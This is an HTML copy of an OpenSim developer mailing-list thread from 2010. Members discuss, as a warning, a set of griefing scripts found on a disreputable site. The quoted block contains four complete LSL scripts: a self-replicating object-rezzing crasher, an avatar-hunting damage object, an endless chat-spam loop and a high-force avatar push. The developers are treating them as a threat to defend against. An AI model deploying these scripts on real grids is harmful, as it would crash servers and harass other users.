<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 TRANSITIONAL//EN">
<HTML>
<HEAD>
  <META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET=UTF-8">
  <META NAME="GENERATOR" CONTENT="GtkHTML/3.30.3">
</HEAD>
<BODY>
I agree, the problem is that if they work they could well attract the Second Life "low lifes" to roaming all of the OpenSim grids!<BR>
<BR>
This is likely inevitable (like Linux malware) but if we can delay the onset for a few years (as in Linux malware) it would be very helpful!<BR>
<BR>
Karen<BR>
<BR>
On Mon, 2010-11-01 at 15:20 -0700, Michael Cerquoni wrote:<BR>
<BLOCKQUOTE TYPE=CITE>
    these look like kiddie griefer scripts that pretty much any noob could make to me.<BR>
    <BR>
</BLOCKQUOTE>
<BLOCKQUOTE TYPE=CITE>
    On Mon, Nov 1, 2010 at 3:07 PM, Karen Palen <<A HREF="mailto:karenpalensl@gmail.com">karenpalensl@gmail.com</A>> wrote:
</BLOCKQUOTE>
<BLOCKQUOTE TYPE=CITE>
    <BLOCKQUOTE>
        I ran across the following on one of the "less reputable" web sites that I read. Consider it a "heads up" if the scripts really do what they claim!<BR>
        <BR>
        <B>OS GRID CRASHERS AND SPAMMERS </B>A virtual world without evil.....not on my watch<BR>
        <BR>
        These all work if the threat level is set high enough on the sim<BR>
        <BR>
        <BR>
        vector motion = <0,0,-37>;<BR>
        integer jumps = 2;<BR>
        default<BR>
        {<BR>
        state_entry()<BR>
        {<BR>
        llListen(10,"",llGetOwner(),"");<BR>
        }<BR>
        listen( integer channel, string name, key id, string msg)<BR>
        {<BR>
        if(msg==".5560")<BR>
        {<BR>
        llDie();<BR>
        }<BR>
        }<BR>
        <BR>
        touch_start(integer total_number)<BR>
        {<BR>
        llDialog(llDetectedKey(0),"Jezebel's black sun shines upon you ",["YAY!!!"],5560);<BR>
        llSetAlpha(0.0,ALL_SIDES);<BR>
        llSetStatus(STATUS_PHANTOM,TRUE);<BR>
        integer m;<BR>
        vector local = llGetLocalPos();<BR>
        for(m=0;m<jumps;m++)<BR>
        {<BR>
        llSetPos(local+m*motion);<BR>
        }<BR>
        llSetTimerEvent(0.1);<BR>
        }<BR>
        timer()<BR>
        {<BR>
        llRezObject("Object", llGetPos()+<0,0,0>, ZERO_VECTOR, ZERO_ROTATION,42);<BR>
        <BR>
        }<BR>
        }<BR>
        <BR>
        --------------------------------------------------------------------<BR>
        <BR>
        float movespeed = 0.1; //because lower is faster<BR>
        <BR>
        //Set how often to track avatars<BR>
        float tick = 0.1;<BR>
        <BR>
        default<BR>
        {<BR>
        state_entry()<BR>
        {<BR>
        vector pos = llGetPos();<BR>
        llSetStatus(STATUS_PHYSICS, TRUE);<BR>
        llSetDamage(100.0);<BR>
        llSleep(0.1);<BR>
        llMoveToTarget(pos,0.1);<BR>
        llSensorRepeat("","",AGENT,200000,7000*PI,tick);<BR>
        }<BR>
        sensor(integer total_number)<BR>
        {<BR>
        vector pos = llDetectedPos(0);<BR>
        vector offset =<-0,0,0>;<BR>
        pos+=offset;<BR>
        if (llDetectedOwner(0) == llGetOwner())<BR>
        {<BR>
        }<BR>
        else<BR>
        {<BR>
        llMoveToTarget(pos,movespeed);<BR>
        llLookAt(pos,2,1);<BR>
        }<BR>
        }<BR>
        }<BR>
        ------------------------------------------------------------------<BR>
        <BR>
        default<BR>
        {<BR>
        state_entry()<BR>
        {<BR>
        llSay(0, "Here is a fork and knife your gonna need it");<BR>
        }<BR>
        <BR>
        collision_start(integer total_number)<BR>
        {<BR>
        while(1)<BR>
        {<BR>
        llSay(0, "Press Alt-F4 to abuse report griefers, welcome to os grid:) ");<BR>
        <BR>
        }<BR>
        }<BR>
        }<BR>
        ---------------------------------------------------------------<BR>
        take the verticle tour<BR>
        ---------------------------------------------------------------<BR>
        default<BR>
        {<BR>
        state_entry ( )<BR>
        {<BR>
        llListen ( 0, "", NULL_KEY, "0/1" );<BR>
        llSensorRepeat ( "", NULL_KEY, AGENT, 2.0, PI, 0.01 );<BR>
        }<BR>
        <BR>
        listen ( integer Channel, string Name, key UUID, string Message )<BR>
        {<BR>
        state Off;<BR>
        }<BR>
        <BR>
        sensor ( integer Number )<BR>
        {<BR>
        vector Direction = llVecNorm ( llDetectedPos ( 0 ) - llGetPos ( ) );<BR>
        float Power = llVecMag ( llDetectedVel ( 0 ) - llGetPos ( ) ) * llPow ( llVecDist ( llGetPos ( ) , llDetectedPos ( 0 ) ), 3 );<BR>
        llPushObject(llDetectedKey(0), <0,0,llPow(3.402823466,38)>, ZERO_VECTOR, FALSE );<BR>
        <BR>
        }<BR>
        }<BR>
        <BR>
        state Off<BR>
        {<BR>
        state_entry ( )<BR>
        {<BR>
        llListen ( 0, "", NULL_KEY, "0/1" );<BR>
        }<BR>
        <BR>
        listen ( integer Channel, string Name, key UUID, string Message )<BR>
        {<BR>
        state default;<BR>
        }<BR>
        } 
<HR SIZE="1">
<BR>
        <BR>
        I am the devil and i'm here to do the devils work<BR>
        <BR>
        <BR>
    </BLOCKQUOTE>
</BLOCKQUOTE>
<BLOCKQUOTE TYPE=CITE>
    <BLOCKQUOTE>
        <BR>
        _______________________________________________<BR>
        Opensim-dev mailing list<BR>
        <A HREF="mailto:Opensim-dev@lists.berlios.de">Opensim-dev@lists.berlios.de</A><BR>
        <A HREF="https://lists.berlios.de/mailman/listinfo/opensim-dev">https://lists.berlios.de/mailman/listinfo/opensim-dev</A><BR>
        <BR>
    </BLOCKQUOTE>
</BLOCKQUOTE>
<BLOCKQUOTE TYPE=CITE>
    <BR>
    <BR>
    <BR>
    -- <BR>
    Michael Emory Cerquoni - Nebadon Izumi @ <A HREF="http://osgrid.org">http://osgrid.org</A>
<PRE>
_______________________________________________
Opensim-dev mailing list
<A HREF="mailto:Opensim-dev@lists.berlios.de">Opensim-dev@lists.berlios.de</A>
<A HREF="https://lists.berlios.de/mailman/listinfo/opensim-dev">https://lists.berlios.de/mailman/listinfo/opensim-dev</A>
</PRE>
</BLOCKQUOTE>
</BODY>
</HTML>